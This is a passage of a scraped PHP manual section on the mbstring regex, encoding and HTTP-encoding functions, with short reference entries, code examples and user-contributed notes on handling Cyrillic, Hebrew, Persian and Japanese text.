    8730, 8730, 0, $f, 8733, 8734, 0, $f, 8736, 8736, 0, $f,
    8743, 8747, 0, $f, 8756, 8756, 0, $f, 8764, 8764, 0, $f,
    8773, 8773, 0, $f, 8776, 8776, 0, $f, 8800, 8801, 0, $f,
    8804, 8805, 0, $f, 8834, 8836, 0, $f, 8838, 8839, 0, $f,
    8853, 8853, 0, $f, 8855, 8855, 0, $f, 8869, 8869, 0, $f,
    8901, 8901, 0, $f, 8968, 8971, 0, $f, 9001, 9002, 0, $f,
    9674, 9674, 0, $f, 9824, 9824, 0, $f, 9827, 9827, 0, $f,
    9829, 9830, 0, $f,
/* <!ENTITY % HTMLspecial PUBLIC "-//W3C//ENTITIES Special//EN//HTML">
   %HTMLspecial; */
/* These ones are excluded to enable HTML: 34, 38, 60, 62 */
     338,  339, 0, $f,  352,  353, 0, $f,  376,  376, 0, $f,
     710,  710, 0, $f,  732,  732, 0, $f, 8194, 8195, 0, $f,
    8201, 8201, 0, $f, 8204, 8207, 0, $f, 8211, 8212, 0, $f,
    8216, 8218, 0, $f, 8218, 8218, 0, $f, 8220, 8222, 0, $f,
    8224, 8225, 0, $f, 8240, 8240, 0, $f, 8249, 8250, 0, $f,
    8364, 8364, 0, $f);

    return mb_encode_numericentity($utf2html_string, $convmap, "UTF-8");
}
mb_encode_mimeheader
mb_encoding_aliases
Multibyte String Functions


Get aliases of a known encoding type

mb_encode_numericentity
mb_ereg_match
Multibyte String Functions
PHP Manual

mb_encoding_aliases

(PHP 5 >= 5.3.0)

mb_encoding_aliases — Get aliases of a known encoding type

Description

array mb_encoding_aliases ( string $encoding )

Returns an array of aliases for a known encoding type.

Parameters

encoding

The encoding type being checked, for aliases.

Return Values

Returns a numerically indexed array of encoding aliases on success, or FALSE on failure

Errors/Exceptions

Emits an E_WARNING level error if encoding is unknown.

Examples

Example #1 mb_encoding_aliases() example

<?php
$encoding        = 'ASCII';
$known_encodings = mb_list_encodings();

if (in_array($encoding, $known_encodings)) {

    $aliases = mb_encoding_aliases($encoding);
    print_r($aliases);

} else {

    echo "Unknown ($encoding) encoding.\n";

}
?>

The above example will output something similar to:

Array
(
    [0] => ANSI_X3.4-1968
    [1] => iso-ir-6
    [2] => ANSI_X3.4-1986
    [3] => ISO_646.irv:1991
    [4] => US-ASCII
    [5] => ISO646-US
    [6] => us
    [7] => IBM367
    [8] => cp367
    [9] => csASCII
)

See Also

  • mb_list_encodings() - Returns an array of all supported encodings

User Contributed Notes

There are no user contributed notes for this page.
mb_encode_numericentity
mb_ereg_match
Multibyte String Functions


Regular expression match for multibyte string

mb_encoding_aliases
mb_ereg_replace
Multibyte String Functions
PHP Manual

mb_ereg_match

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_match — Regular expression match for multibyte string

Description

bool mb_ereg_match ( string $pattern , string $string [, string $option = "msr" ] )

A regular expression match for a multibyte string

Parameters

pattern

The regular expression pattern.

string

The string being evaluated.

option

Return Values

Returns TRUE if string matches the regular expression pattern, FALSE if not.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

patryk dot szczyglowski at gmail dot com 12-Dec-2008 09:54
'option' parameter has the same syntax as 'option' parameter from 'mb_regex_set_options' function.
Anonymous 18-Oct-2008 06:52
Note that this function matches a string from the beginning only (though not necessarily till the end):

<?php

$test = mb_ereg_match("a", "some apples"); // returns false
$test = mb_ereg_match("a", "a kiwi");      // returns true

?>

If you want to check for a match anywhere in the string, use the wild-card & repeat operators .*

<?php

$test = mb_ereg_match(".*a", "some apples"); // returns true

?>
mb_encoding_aliases
mb_ereg_replace
Multibyte String Functions


Replace regular expression with multibyte support

mb_ereg_match
mb_ereg_search_getpos
Multibyte String Functions
PHP Manual

mb_ereg_replace

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_replace — Replace regular expression with multibyte support

Description

string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] )

Scans string for matches to pattern, then replaces the matched text with replacement

Parameters

pattern

The regular expression pattern.

Multibyte characters may be used in pattern.

replacement

The replacement text.

string

The string being checked.

option
Matching condition can be set by option parameter. If i is specified for this parameter, the case will be ignored. If x is specified, white space will be ignored. If m is specified, match will be executed in multiline mode and line break will be included in '.'. If p is specified, match will be executed in POSIX mode, line break will be considered as normal character. If e is specified, replacement string will be evaluated as PHP expression.

Return Values

The resultant string on success, or FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

Warning

Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()). Not taking care of this will most likely create remote code execution vulnerabilities in your application.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_eregi_replace() - Replace regular expression with multibyte support ignoring case

User Contributed Notes

trng 15-Jun-2011 09:22
You can use \\n for capture group in replacement.
And you can NOT use $n notation (unlike preg_replace function).
Pluche 30-Dec-2010 04:17
Unlike preg_replace, mb_ereg_replace doesn't use separators

Exemple with preg_replace :
<?php $data = preg_replace("/[^A-Za-z0-9\.\-]/","",$data); ?>

Exemple with mb_ereg_replace :
<?php $data = mb_ereg_replace("[^A-Za-z0-9\.\-]","",$data); ?>
daemoneye at gmail dot com 03-Feb-2009 02:53
I got a pretty nasty error while trying to parse table rows(all contents were set to UTF-8) from the database for a dictionary project. The idea was to get all the rows from the first table (that is a table with bulgarian phrase in the first field, and its translation in english, french and german in the next fields). I needed to index all the bulgarian words that are found in the table to make an intelligent search. And that is where my headache started.

First of all, even with mb_strtolower() a lot of cyrillic characters went corrupted (ex: 'т,ъ,у,ф,б,г,з,ж,' etc...). After an hour of different attempts I got such a solution:

<?php

mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

$rows = $db->getRows();

$contents = array();
foreach ($rows as $eachRow)
{
    $cleared = str_replace($commonWords, ' ', mb_strtolower(stripslashes($eachRow['bulgarian']), 'UTF-8' ));
    if (trim($cleared) != '') $contents[] = trim($cleared);
}

$list = array();
foreach ($contents as $eachRow)
{
    $exploded = explode(' ', $eachRow);
    foreach ($exploded as $eachExpl)
    {
        $eachExpl = mb_ereg_replace('[^а-я ]',' ', $eachExpl);
        if (trim($eachExpl) != '')
            if (!in_array($eachExpl, $list, true))    $list[] = trim($eachExpl);
    }
}

?>

To work properly I got to set all the internal encoding settings to UTF-8. Else the default Latin-1 got half my database with missing characters.

I am posting this solution just in case someone has encountered a similar problem. Hope it helps you in case you need something like that.
keizo at gomo dot jp 23-Jul-2008 09:32
<?php
$pattern = "([あ-ん]+)[0-9]+";
$string = mb_ereg_replace($pattern, '「\\1」:\\0', $string);
?>

you can use \\n for capture group in replacement
gmx dot net at ulrich dot mierendorff 01-Jul-2008 07:39
If you want to replace characters like "ä" or "ø" you can use mb_ereg_replace, but it is very slow. str_replace is much faster and also works with characters like "ä" or "ø"!

I think this has something to with the fact that str_replace works on byte level and does not care about characters.
I hope that can help.
04-Dec-2006 08:36
'i' option does not work correctly with multibyte characters. The function does not locate/replace the multibyte string if it's different case then specified on multibyte needle which is in different case.
squeegee 01-Nov-2006 07:41
well, if you just calculated the length of the find and replace strings once instead of on every loop, it would likely speed it up a lot.
mpnicholas [@t] gmail (dot) com 09-Jul-2006 03:09
Regarding the mb_str_ireplace() function: I benchmarked it against mb_eregi_replace() for single-character substitution, and it was significantly slower. Despite avoiding the ereg call, I think the while loop ends slowing you down too much for this to be practical.
vondrej(at)gmail(dot)com 26-Feb-2006 03:47
Are you looking for htmlentities() for multibyte strings? This might help you - it just replace <, >, ", '

<?php
/**
 *  Multibyte equivalent for htmlentities() [lite version :)]
 *
 * @param string $str
 * @param string $encoding
 * @return string
 **/
function mb_htmlentities($str, $encoding = 'utf-8') {
    mb_regex_encoding($encoding);
    $pattern = array('<', '>', '"', '\'');
    $replacement = array('&lt;', '&gt;', '&quot;', '&#39;');
    for ($i=0; $i<sizeof($pattern); $i++) {
        $str = mb_ereg_replace($pattern[$i], $replacement[$i], $str);
    }
    return $str;
}
?>
faxe at neostrada dot pl 09-Aug-2005 03:52
A simple mb_str_ireplace() implementation - a faster (?) replacement for non-regexp multi-byte string replacement:

<?php
function mb_str_ireplace($co, $naCo, $wCzym)
{
    $wCzymM = mb_strtolower($wCzym);
    $coM    = mb_strtolower($co);
    $offset = 0;

        while(!is_bool($poz = mb_strpos($wCzymM, $coM, $offset)))
    {
        $offset = $poz + mb_strlen($naCo);
        $wCzym = mb_substr($wCzym, 0, $poz). $naCo .mb_substr($wCzym, $poz+mb_strlen($co));
        $wCzymM = mb_strtolower($wCzym);
    }

    return $wCzym;
}
?>

[thiago - EDITOR NOTE: This function has improvements from d-okumura [aat] fi{dot}kyd[dot]co.jp]
mb_ereg_match
mb_ereg_search_getpos
Multibyte String Functions


Returns start point for next regular expression match

mb_ereg_replace
mb_ereg_search_getregs
Multibyte String Functions
PHP Manual

mb_ereg_search_getpos

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_getpos — Returns start point for next regular expression match

Description

int mb_ereg_search_getpos ( void )

Returns the start point for the next regular expression match.

Parameters

This function has no parameters.

Return Values

mb_ereg_search_getpos() returns
the point to start regular expression match for
mb_ereg_search(),
mb_ereg_search_pos(),
mb_ereg_search_regs(). The position is
represented by bytes from the head of string.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_search_setpos() - Set start point of next regular expression match

User Contributed Notes

There are no user contributed notes for this page.
mb_ereg_replace
mb_ereg_search_getregs
Multibyte String Functions


Retrieve the result from the last multibyte regular expression match

mb_ereg_search_getpos
mb_ereg_search_init
Multibyte String Functions
PHP Manual

mb_ereg_search_getregs

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match

Description

array mb_ereg_search_getregs ( void )

Retrieve the result from the last multibyte regular expression match

Parameters

This function has no parameters.

Return Values

An array including the sub-string of matched part by last mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs(). If there are some matches, the first element will have the matched sub-string, the second element will have the first part grouped with brackets, the third element will have the second part grouped with brackets, and so on. It returns FALSE on error;

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

Marius Kažemėkaitis 25-Jan-2007 11:48
Get unicode characters from string.

<?php

mb_regex_encoding("UTF-8");
mb_ereg_search_init("12345=ąčęėįšųūĄČĘĖĮŠŲŪ");
mb_ereg_search("=(\w+)");
$match = mb_ereg_search_getregs();

print($match[1]); //ąčęėįšųūĄČĘĖĮŠŲŪ

?>
mb_ereg_search_getpos
mb_ereg_search_init
Multibyte String Functions


Setup string and regular expression for a multibyte regular expression match

mb_ereg_search_getregs
mb_ereg_search_pos
Multibyte String Functions
PHP Manual

mb_ereg_search_init

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match

Description

bool mb_ereg_search_init ( string $string [, string $pattern [, string $option = "msr" ]] )

mb_ereg_search_init() sets
string and pattern
for a multibyte regular expression. These values are used for
mb_ereg_search(),
mb_ereg_search_pos(), and
mb_ereg_search_regs().

Parameters

string

The search string.

pattern

The search pattern.

option

The search option.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_search_regs() - Returns the matched part of a multibyte regular expression

User Contributed Notes

There are no user contributed notes for this page.
mb_ereg_search_getregs
mb_ereg_search_pos
Multibyte String Functions


Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

mb_ereg_search_init
mb_ereg_search_regs
Multibyte String Functions
PHP Manual

mb_ereg_search_pos

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

Description

array mb_ereg_search_pos ([ string $pattern [, string $option = "ms" ]] )

Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

The string for match is specified by mb_ereg_search_init(). If it is not specified, the previous one will be used.

Parameters

pattern

The search pattern.

option

The search option.

Return Values

An array including the position of a matched part for a multibyte regular expression. The first element of the array will be the beginning of matched part, the second element will be length (bytes) of matched part. It returns FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

There are no user contributed notes for this page.
mb_ereg_search_init
mb_ereg_search_regs
Multibyte String Functions


Returns the matched part of a multibyte regular expression

mb_ereg_search_pos
mb_ereg_search_setpos
Multibyte String Functions
PHP Manual

mb_ereg_search_regs

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_regs — Returns the matched part of a multibyte regular expression

Description

array mb_ereg_search_regs ([ string $pattern [, string $option = "ms" ]] )

Returns the matched part of a multibyte regular expression.

Parameters

pattern

The search pattern.

option

The search option.

Return Values

mb_ereg_search_regs() executes the multibyte regular expression match, and if there are some matched part, it returns an array including substring of matched part as first element, the first grouped part with brackets as second element, the second grouped part as third element, and so on. It returns FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

There are no user contributed notes for this page.
mb_ereg_search_pos
mb_ereg_search_setpos
Multibyte String Functions


Set start point of next regular expression match

mb_ereg_search_regs
mb_ereg_search
Multibyte String Functions
PHP Manual

mb_ereg_search_setpos

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_setpos — Set start point of next regular expression match

Description

bool mb_ereg_search_setpos ( int $position )

mb_ereg_search_setpos() sets the starting point of a match for mb_ereg_search().

Parameters

position

The position to set.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

There are no user contributed notes for this page.
mb_ereg_search_regs
mb_ereg_search
Multibyte String Functions


Multibyte regular expression match for predefined multibyte string

mb_ereg_search_setpos
mb_ereg
Multibyte String Functions
PHP Manual

mb_ereg_search

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search — Multibyte regular expression match for predefined multibyte string

Description

bool mb_ereg_search ([ string $pattern [, string $option = "ms" ]] )

Performs a multibyte regular expression match for a predefined multibyte string.

Parameters

pattern

The search pattern.

option

The search option.

Return Values

mb_ereg_search() returns TRUE if the multibyte string matches with the regular expression, or FALSE otherwise. The string for matching is set by mb_ereg_search_init(). If pattern is not specified, the previous one is used.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

dulao5 at gmail dot com 28-Apr-2007 11:11
mb_ereg_search & subpatterns
use loop:
<?php
    $str = "中国abc + abc ?!？！字符＃　china string";

    $reg = "\w+";

    mb_regex_encoding("UTF-8");

    mb_ereg_search_init($str, $reg);
    $r = mb_ereg_search();

    if(!$r)
    {
        echo "null\n";
    }
    else
    {
        $r = mb_ereg_search_getregs(); //get first result
        do
        {
            var_dump($r[0]);
            $r = mb_ereg_search_regs();//get next result
        }
        while($r);
    }
?>
mb_ereg_search_setpos
mb_ereg
Multibyte String Functions


Regular expression match with multibyte support

mb_ereg_search
mb_eregi_replace
Multibyte String Functions
PHP Manual

mb_ereg

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg — Regular expression match with multibyte support

Description

int mb_ereg ( string $pattern , string $string [, array $regs ] )

Executes the regular expression match with multibyte support.

Parameters

pattern

The search pattern.

string

The search string.

regs

Contains a substring of the matched string.

Return Values

Executes the regular expression match with multibyte support, and returns 1 if matches are found. If the optional regs parameter was specified, the function returns the byte length of matched part, and the array regs will contain the substring of matched string. The function returns 1 if it matches with the empty string. If no matches are found or an error happens, FALSE will be returned.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_eregi() - Regular expression match ignoring case with multibyte support

User Contributed Notes

arash at hemmat dot biz 18-May-2010 02:32
I could easily remove any non Persian (Farsi) characters using this function, the range for Arabic and Persian are shared so this code could be used for Arabic too.
<?php mb_ereg_replace("[^؀-ۿ]","-",$string); ?>

This is the reference for finding the character range of Unicode languages:
http://unicode.org/charts/
Jon 11-Apr-2009 04:22
Hebrew regex tested on PHP 5, Ubuntu 8.04.
Seems to work fine without the mb_regex_encoding lines (commented out).
Didn't seem to work with \uxxxx (also commented out).

<?php
echo "Line ";
//mb_regex_encoding("ISO-8859-8");
//if(mb_ereg(".*([\u05d0-\u05ea]).*", $this->current_line))
if(mb_ereg(".*([א-ת]).*", $this->current_line))
{
    echo "has";
}
else
{
    echo "doesn't have";
}
echo " Hebrew characters.<br>";
//mb_regex_encoding("UTF-8");
?>
mb_ereg_search
mb_eregi_replace
Multibyte String Functions


Replace regular expression with multibyte support ignoring case

mb_ereg
mb_eregi
Multibyte String Functions
PHP Manual

mb_eregi_replace

(PHP 4 >= 4.2.0, PHP 5)

mb_eregi_replace — Replace regular expression with multibyte support ignoring case

Description

string mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = "msri" ] )

Scans string for matches to pattern, then replaces the matched text with replacement.

Parameters

pattern

The regular expression pattern. Multibyte characters may be used. The case will be ignored.

replace

The replacement text.

string

The searched string.

option
option has the same meaning as in mb_ereg_replace().

Return Values

The resultant string or FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

Warning

Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()). Not taking care of this will most likely create remote code execution vulnerabilities in your application.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg_replace() - Replace regular expression with multibyte support

User Contributed Notes

its2dark2c at yahoo dot com 20-Aug-2011 04:36
when trying to find a way to strip newline from a multibyte UTF-8 string i got to this function just to discover later that POSIX don't "do" newline so i can't strip them, examples of what i tried are : \r\n , \\r\\n , (\\r\\n) (\\r|\\n)

and got no result
so since i wanted something like mb_nl2br() that's simple i wrote this little recursive function for UTF-8:

<?php
function mb_str_replace($find,$replace,&$str)
{
$i = mb_strpos($str,$find, 0,"UTF-8");
if ($index===false) {return;}
$str = mb_substr($str, 0,$i).$replace.mb_substr($str, $i+mb_strlen($find,"UTF-8"),mb_strlen($str,"UTF-8"));
$this->mb_str_replace($find,$replace,$str);
}
?>

note: moderate unit tesing was done, changed to other encodings
cat at feelthehouse dot ru 13-Sep-2008 09:27
Transliterator for cyrillic-to-latin letters for UTF chars:

<?php
function do_translit($st) {
    $replacement = array(
        "й"=>"i","ц"=>"c","у"=>"u","к"=>"k","е"=>"e","н"=>"n",
        "г"=>"g","ш"=>"sh","щ"=>"sh","з"=>"z","х"=>"x","ъ"=>"\'",
        "ф"=>"f","ы"=>"i","в"=>"v","а"=>"a","п"=>"p","р"=>"r",
        "о"=>"o","л"=>"l","д"=>"d","ж"=>"zh","э"=>"ie","ё"=>"e",
        "я"=>"ya","ч"=>"ch","с"=>"c","м"=>"m","и"=>"i","т"=>"t",
        "ь"=>"\'","б"=>"b","ю"=>"yu",
        "Й"=>"I","Ц"=>"C","У"=>"U","К"=>"K","Е"=>"E","Н"=>"N",
        "Г"=>"G","Ш"=>"SH","Щ"=>"SH","З"=>"Z","Х"=>"X","Ъ"=>"\'",
        "Ф"=>"F","Ы"=>"I","В"=>"V","А"=>"A","П"=>"P","Р"=>"R",
        "О"=>"O","Л"=>"L","Д"=>"D","Ж"=>"ZH","Э"=>"IE","Ё"=>"E",
        "Я"=>"YA","Ч"=>"CH","С"=>"C","М"=>"M","И"=>"I","Т"=>"T",
        "Ь"=>"\'","Б"=>"B","Ю"=>"YU",
    );

    foreach($replacement as $i=>$u) {
        $st = mb_eregi_replace($i,$u,$st);
    }
    return $st;
}
?>
mb_ereg
mb_eregi
Multibyte String Functions


Regular expression match ignoring case with multibyte support

mb_eregi_replace
mb_get_info
Multibyte String Functions
PHP Manual

mb_eregi

(PHP 4 >= 4.2.0, PHP 5)

mb_eregi — Regular expression match ignoring case with multibyte support

Description

int mb_eregi ( string $pattern , string $string [, array $regs ] )

Executes the case insensitive regular expression match with multibyte support.

Parameters

pattern

The regular expression pattern.

string

The string being searched.

regs

Contains a substring of the matched string.

Return Values

Executes the regular expression match with multibyte support, and returns 1 if matches are found. If the optional regs parameter was specified, the function returns the byte length of matched part, and the array regs will contain the substring of matched string. The function returns 1 if it matches with the empty string. If no matches are found or an error happens, FALSE will be returned.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

bubalula at gmail dot com 27-Aug-2010 07:44
This function does not work - it is not case insensitive for non latin characters.
steve at brainwashstudios dot com 10-Apr-2003 07:52
When this function is perfected, and is not experimental, it may be very usefull in the searching and pinpointing of places inside large text files.
mb_eregi_replace
mb_get_info
Multibyte String Functions


Get internal settings of mbstring

mb_eregi
mb_http_input
Multibyte String Functions
PHP Manual

mb_get_info

(PHP 4 >= 4.2.0, PHP 5)

mb_get_info — Get internal settings of mbstring

Description

mixed mb_get_info ([ string $type = "all" ] )

mb_get_info() returns the internal setting parameters of mbstring.

Parameters

type

If type isn't specified or is specified to "all", an array having the elements "internal_encoding", "http_output", "http_input", "func_overload", "mail_charset", "mail_header_encoding", "mail_body_encoding" will be returned.

If type is specified as "http_output", "http_input", "internal_encoding", "func_overload", the specified setting parameter will be returned.

Return Values

An array of type information if type is not specified, otherwise a specific type.

Changelog

Version | Description
5.1.3 | The entries "mail_charset", "mail_header_encoding", and "mail_body_encoding" were made available.
5.3.0 | The entry "http_output_conv_mimetypes" was made available.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_http_output() - Set/Get HTTP output character encoding

User Contributed Notes

There are no user contributed notes for this page.
mb_eregi
mb_http_input
Multibyte String Functions


Detect HTTP input character encoding

mb_get_info
mb_http_output
Multibyte String Functions
PHP Manual

mb_http_input

(PHP 4 >= 4.0.6, PHP 5)

mb_http_input — Detect HTTP input character encoding

Description

mixed mb_http_input ([ string $type = "" ] )

Detects the HTTP input character encoding.

Parameters

type

Input string specifies the input type. "G" for GET, "P" for POST, "C" for COOKIE, "S" for string, "L" for list, and "I" for the whole list (will return array). If type is omitted, it returns the last input type processed.

Return Values

The character encoding name, as per the type. If mb_http_input() does not process specified HTTP input, it returns FALSE.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_http_output() - Set/Get HTTP output character encoding
  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

anders jenbo pc dk 23-Oct-2007 08:00
As this does not seam to work (always returns "pass"). you can use

$encoding = mb_detect_encoding(urldecode($REQUEST_URI), 'UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP, ISO-8859-1');

to detect the encoding of the url instead, similare steps could be taken to deteck cookies and post data although it would have to be done for each value.
mb_get_info
mb_http_output
Multibyte String Functions


Set/Get HTTP output character encoding

mb_http_input
mb_internal_encoding
Multibyte String Functions
PHP Manual

mb_http_output

(PHP 4 >= 4.0.6, PHP 5)

mb_http_output — Set/Get HTTP output character encoding

Description

mixed mb_http_output ([ string $encoding ] )

Set/Get the HTTP output character encoding. Output after this function is converted to encoding.

Parameters

encoding

If encoding is set, mb_http_output() sets the HTTP output character encoding to encoding.

If encoding is omitted, mb_http_output() returns the current HTTP output character encoding.

Return Values

If encoding is omitted, mb_http_output() returns the current HTTP output character encoding. Otherwise, Returns TRUE on success or FALSE on failure.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_http_input() - Detect HTTP input character encoding
  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

anders jenbo pc dk 03-Oct-2007 01:23
By default this is set to 'pass' witch means that php will not touch the encoding and output it as it is in the source file.

Normaly this function isn't needed as long as you save the .php file in the same encoding as you want it to output as well as retrive all input in the same encoding, but it don't seam to herd as long as it able to figure out what encoding the output is in ín the first place.
mb_http_input
mb_internal_encoding
Multibyte String Functions


Set/Get internal character encoding

mb_http_output
mb_language
Multibyte String Functions
PHP Manual

mb_internal_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_internal_encoding — Set/Get internal character encoding

Description

mixed mb_internal_encoding ([ string $encoding = mb_internal_encoding() ] )

Set/Get the internal character encoding

Parameters

encoding

encoding is the character encoding name used for the HTTP input character encoding conversion, HTTP output character encoding conversion, and the default character encoding for string functions defined by the mbstring module.

Return Values

If encoding is set, then Returns TRUE on success or FALSE on failure. If encoding is omitted, then the current character encoding name is returned.

Examples

Example #1 mb_internal_encoding() example

<?php
/* Set internal character encoding to UTF-8 */
mb_internal_encoding("UTF-8");

/* Display current internal character encoding */
echo mb_internal_encoding();
?>

See Also

  • mb_http_input() - Detect HTTP input character encoding
  • mb_http_output() - Set/Get HTTP output character encoding
  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

mdirks at gulfstreamcoach dot com 17-May-2007 08:55
In response to mortoray at ecircle-ag dot com:

The characters display fine as long as you set the Encoding to something more "Latin 1" compatible (i.e. US-ACSII, ISO-8859-1, ISO-8859-1, or  Windows 1252). PHP.net auto-detects to UTF-8
Joachim Kruyswijk 25-May-2006 12:52
Especially when writing PHP scripts for use on different servers, it is a very good idea to explicitly set the internal encoding somewhere on top of every document served, e.g.

mb_internal_encoding("UTF-8");

This, in combination with mysql-statement "SET NAMES 'utf8'", will save a lot of debugging trouble.

Also, use the multi-byte string functions instead of the ones you may be used to, e.g. mb_strlen() instead of strlen(), etc.
mortoray at ecircle-ag dot com 27-May-2005 04:10
To previous example, the PHP notes don't appear to support umlauted characters so there are question marks  (?) there instead of what should be umlauated oue.  Just substitute any high-order/accented character to see the effect.
mortoray at ecircle-ag dot com 26-May-2005 11:58
Be aware that the strings in your source files must match the encoding you specify by mb_internal_encoding.  It appears the Parser loads raw bytes from the file and refers to its internal encoding to determine their actual encoding.

To demonstrate, the following outputs as espected when the /source/ file is Latin-1 encoded:

<?php
    mb_internal_encoding("iso-8859-1");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "üöä<br/>";

    ?>üöä

Now, a typical use of mb_internal_encoding is shown as follows.  Make the change to "utf-8" but leave the /source/ file encoding unchanged:

<?php
    mb_internal_encoding("UTF-8");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "üöä<br/>";

    ?>üöä

The output will just show the <br/> tag and no text.

Save the file as UTF-8 encoding and then the results will be as expected.
mb_http_output
mb_language
Multibyte String Functions


Set/Get current language

mb_internal_encoding
mb_list_encodings
Multibyte String Functions
PHP Manual

mb_language

(PHP 4 >= 4.0.6, PHP 5)

mb_language — Set/Get current language

Description

mixed mb_language ([ string $language ] )

Set/Get the current language.

Parameters

language

Used for encoding e-mail messages. Valid languages are "Japanese", "ja","English","en" and "uni" (UTF-8). mb_send_mail() uses this setting to encode e-mail.

Language and its setting is ISO-2022-JP/Base64 for Japanese, UTF-8/Base64 for uni, ISO-8859-1/quoted printable for English.

Return Values

If language is set and language is valid, it returns TRUE. Otherwise, it returns FALSE. When language is omitted, it returns the language name as a string. If no language is set previously, it then returns FALSE.

See Also

  • mb_send_mail() - Send encoded mail

User Contributed Notes

kitchin 22-May-2011 09:17
Can return 'neutral', which apparently means UTF-8.
Sohel Taslim 18-Sep-2007 10:52
It can help you to send an email as with Japanese contain.

<?php

       mb_language("ja");
       $subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
       $subject = mb_encode_mimeheader($subject);

       $result = mail($to, $subject, $body, $headers, $sendmail_params);

?>
mb_internal_encoding
mb_list_encodings
Multibyte String Functions


Returns an array of all supported encodings

mb_language
mb_output_handler
Multibyte String Functions
PHP Manual

mb_list_encodings

(PHP 5)

mb_list_encodings — Returns an array of all supported encodings

Description

array mb_list_encodings ( void )

Returns an array containing all supported encodings.

Parameters

This function has no parameters.

Return Values

Returns a numerically indexed array.

Errors/Exceptions

This function does not emit any errors.

Examples

Example #1 mb_list_encodings() example

<?php

print_r(mb_list_encodings());

?>

The above example will output something similar to:

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
